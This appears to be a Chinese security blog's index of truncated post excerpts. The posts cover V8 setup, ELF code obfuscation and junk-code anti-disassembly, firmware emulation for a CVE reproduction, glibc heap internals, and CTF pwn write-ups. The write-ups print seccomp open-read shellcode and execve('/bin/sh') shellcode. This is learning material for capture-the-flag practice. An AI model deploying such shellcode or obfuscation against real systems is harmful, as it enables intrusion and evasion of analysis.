chrome v8环境配置
chrome v8环境配置近期chrome漏洞炒的比较火热,各种比赛也经常出一些V8的题目,于是下决心去研究一下V8。
目前对V8的了解是:代码量巨大,环境配置巨麻烦,主要涉及C++的pwn的堆漏洞利用知识。
基础环境
windows 10
wsl2 Ubuntu20.04
能上google的代理
安装相关依赖
sudo apt install bison cdbs curl flex g++ git python vim pkg-config ninja-build
安装depot_toolsdepot_tools是google开源的一款工具,下载它主要是用于下载V8的源码。
由于google的东西都由于某些原因非常难下载,导致环境的配置非常麻烦,经常容易出一些奇奇怪怪的错误,所以这边配置一下代理。
因为本文使用的是wsl,因此在配置代理的时候比较方便,直接在 ~目录下创建sh脚本文件:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253 ...
一次ELF程序动态解密尝试
一次ELF程序动态解密尝试在最近的一次出题中,由于pwn水平有限(泪),所以为了提高难度,在pwn题中添加了一些逆向要素。在最近的一次尝试中实现了之前一直有想法,但没有去实现的一个动态解密的思路,写出本文给大家分享一下。
0x01 什么是动态解密这动态解密其实是我自己取的名字,主要的操作就是让程序在运行过程中对将要执行的代码进行解密,执行完后再加密回去。这样能在很大程度上提高逆向分析的难度。因为当攻击者对程序进行逆向分析时,如果没有解密,它只能看着一块加密的数据发呆。
大概是这个样子:
0x02 实现思路
编写好待加密函数a();
编写解密函数b(),在b()函数中先解密a,再用函数指针调用a,调用完毕后再加密回去;
编译;
编写脚本(我习惯用py),对编译后的ELF对应地址加密、覆写。
这里要注意,当程序被编译完以后,是无法执行的,如果执行一定会报错,这是因为此时函数a还并未加密,如果对未加密的字节进行解密,它的效果等同于对该字节进行加密,因此程序会因为碰到不认识的机器码而报错。
0x03 实际操作dynamicDecode.c12345678910111213141516171 ...
基础花指令&去花指令
基础花指令&去花指令
本文主要作为个人学习记录,主要参考了Captain_RB大佬博客的文案,侵删。
花指令又称脏字节,英文为”junkcode”,顾名思义,即在程序中加入的一些垃圾指令,其目的是在不妨碍原有程序执行的前提下,阻碍程序反编译,增加静态分析难度,隐匿不想被逆向分析的代码块,混淆代码,绕过特征识别。注:本文使用的反编译器是ida7.7,编译环境:gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
以下将按照不同分类介绍一些常见的花指令:
0x01不可执行花指令它是利用反汇编器静态分析算法的缺陷使得代码在反编译解析时出错。其原理使反汇编分析执行流命中执行会出错的垃圾数据,就会造成解析错误,而实际执行过程中垃圾数据并不会执行。
1.硬编码多字节指令最常见的
1234jz Label // 采用条件互补的方法跳转绕过垃圾数据jnz LabeljunkcodeLabel:
其中 junkcode 可以是任何的多字节指令的硬编码,我一般的操作是写一个nop然后用hex编辑器将90改为E8。为什么要改为E8:
可 ...
使用QEMU进行IOT固件的虚拟环境搭建
使用QEMU进行IOT固件的虚拟环境搭建最近在尝试进行固件环境模拟,如果直接购买实物太费钱了,就想了点办法搭建虚拟环境。
尝试了@foxcookie的《D-Link_DIR-830LA1命令执行漏洞(CVE-2021-45382)》中使用的FirmAE,发现在模拟其他路由器时失败率很高。据说使用QEMU手动搭建的成功率会比使用FirmAE等工具高得多,于是尝试用QEMU搭建了一个虚拟环境,重新复现了一下Dlink的CVE-2021-45382。
实验环境ubuntu18.04
binwalk v2.1.1
路由器固件:DIR830LA1_FW100B07
123➜ ~ qemu-system-mips --versionQEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.40)Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers
环境安装相关指令12345678git clone https://github.com/devttys ...
pwn各版本数据结构笔记
tcache各版本变化glibc-2.27第一次出现tcache可以随意double free
glibc-2.29在每个free到tcache的chunk的bk位置加入tcache管理器的地址,用于doublefree检测。——————————————————————————————————————————————————
unlink各版本变化glibc-2.27及以前将待unlink chunk称为p,它fd指针指向的chunk为FD,bk指针指向的为BK。检测FD的bk是否为p,以及BK的fd是否为p,如果是则执行unlink。源码:https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
1234FD = P->fd; ...
babyshellcode
babyshellcode
拉进ida,看到Seccomp,应该是个沙盒题。
orw只给了or,不过没关系可以用比较检测eof的方法爆破。
shellcode1:
1234567and rdx,rsishl rsixor esi,esimov rsi,0x10017xor rdi,rdixor rax,raxsyscall
由于有读入字符限制,先调用一个sys_read使可以读取更多字符
shellcode2:
1234567891011121314151617181920212223xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx mov rax, 2 mov rdi, 0x67616c662f2e push rdi mov rdi, rsp syscall mov rdx, 0x100 mov rsi, 0x10000 mov rdi, rax mov rax, 0 syscall ...
Linux x86架构64位、32位系统调用表
来源https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64自用,侵删
i386 Syscall table
Num
syscall
%eax
arg0 (%ebx)
arg1 (%ecx)
arg2 (%edx)
arg3 (%esi)
arg4 (%edi)
arg5 (%ebp)
0
restart_syscall
0x00
-
-
-
-
-
-
1
exit
0x01
int error_code
-
-
-
-
-
2
fork
0x02
-
-
-
-
-
-
3
read
0x03
unsigned int fd
char *buf
size_t count
-
-
-
4
write
0x04
unsigned int fd
const char *buf
size_t count
-
-
-
5
open
0x05
const char *filename
int flags
umode_t mode
- ...
bcloud-bctf-2016
[house of force]bcloud_bctf_2016题目链接:https://buuoj.cn/challenges#bcloud_bctf_2016
逆向分析先看看main函数123456789101112131415161718192021222324252627282930313233void __cdecl __noreturn main(){ setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); start_fun(); while ( 1 ) { switch ( sub_8048760() ) { case 1: create(); break; case 2: print(); break; case 3: edit(); break; case 4: delete(); ...
Pwn shellcode学习
Pwn shellcode学习NASM安装在NASM官网下载nasm-2.15.05.tar.gz
12345tar zxvf nasm-2.15.05.tar.gzcd nasm-2.15.05.tar.gz./configuremakesudo make install
安装完成后就可以在linux中编译asm文件了。
用汇编编写简单的shellcode32位shellcode123456789101112global _startsection .text_start: xor ecx,ecx mul ecx mov al,11 push ecx push 0x68732f2f ;"//sh" push 0x6e69622f;"/bin" mov ebx,esp int 0x80
这串汇编指令相当于execve(“/bin/sh”)编写完成后编译。
123nasm -f elf32 shellcode_x86.asmld -m elf_i386 shellcode_x86.o -o shell ...
BCTF2018:hauseofAtum
[堆利用:TCache机制]hauseofAtum题目链接:https://github.com/blue-lotus/BCTF2018/tree/master/pwn/houseofAtum
0x00 逆向分析菜单:
123456789__int64 menu(){ puts("1. new"); puts("2. edit"); puts("3. delete"); puts("4. show"); printf("Your choice:"); return getint();}
功能:1.创建note
12345678910111213int alloc(){ int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 1 && notes[i]; ++i ) ; if ( i == 2 ) return puts("Too many notes!" ...